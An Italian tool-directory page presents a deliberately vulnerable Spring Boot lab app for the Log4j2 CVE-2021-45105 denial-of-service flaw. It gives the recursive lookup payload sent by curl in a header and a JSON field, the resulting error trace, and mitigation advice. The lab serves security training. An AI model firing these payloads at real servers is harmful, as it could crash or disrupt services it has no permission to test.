Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
log4j2-CVE-2021-45105 — Applicazione web Spring Boot di esempio vulnerabile a Log4j2 CVE-2021-45105 con passaggi di sfruttamento documentati e linee guida di mitigazione per test di sicurezza e formazione. | Kitploit
Strumenti/GitHubGitHub/pravin-pp/log4j2-cve-2021-45105
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubpravin-pp/log4j2-cve-2021-45105

log4j2-CVE-2021-45105

Applicazione web Spring Boot di esempio vulnerabile a Log4j2 CVE-2021-45105 con passaggi di sfruttamento documentati e linee guida di mitigazione per test di sicurezza e formazione.

Vedi Repository
24 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Applicazione vulnerabile Log4j2 di esempio (CVE-2021-45105)

Versioni interessate: tutte le versioni da 2.0-beta9 a 2.16.0

Questa applicazione è basata su un'applicazione web Spring Boot vulnerabile a CVE-2021-45105

Utilizza Log4j 2.16.0

Esecuzione dell'applicazione

Eseguila:

root@kitploit:~
Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Passaggi di sfruttamento

  • Successivamente, attiva l'exploit usando:
root@kitploit:~
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${${::-${::-$${::-$}}}}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${${::-${::-$${::-$}}}}"
}'
  • Nota l'output che mostra un ciclo infinito, tuttavia nei test non è emerso che questo DoS sia dispendioso in termini di risorse, poiché il programma identifica il ciclo infinito e genera un errore:
root@kitploit:~

 ${ctx:apiVersion} ${ctx:clientRef}2021-12-18 14:29:56,759 http-nio-8080-exec-1 ERROR An exception occurred processing Appender Console java.lang.IllegalStateException: Infinite loop in property interpolation of ::-${::-$${::-j}}: :
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
	

Mitigazione :

Gli utenti di Java 8 (o successivi) dovrebbero aggiornare alla versione 2.17.0.

In alternativa, questo può essere mitigato nella configurazione:

In PatternLayout nella configurazione di logging, sostituisci le Context Lookups come ${ctx:loginId} o $${ctx:loginId} con i pattern della Thread Context Map (%X, %mdc o %MDC). Altrimenti, nella configurazione, rimuovi i riferimenti alle Context Lookups come ${ctx:loginId} o $${ctx:loginId} dove provengono da fonti esterne all'applicazione come intestazioni HTTP o input utente.

Scarica lo strumento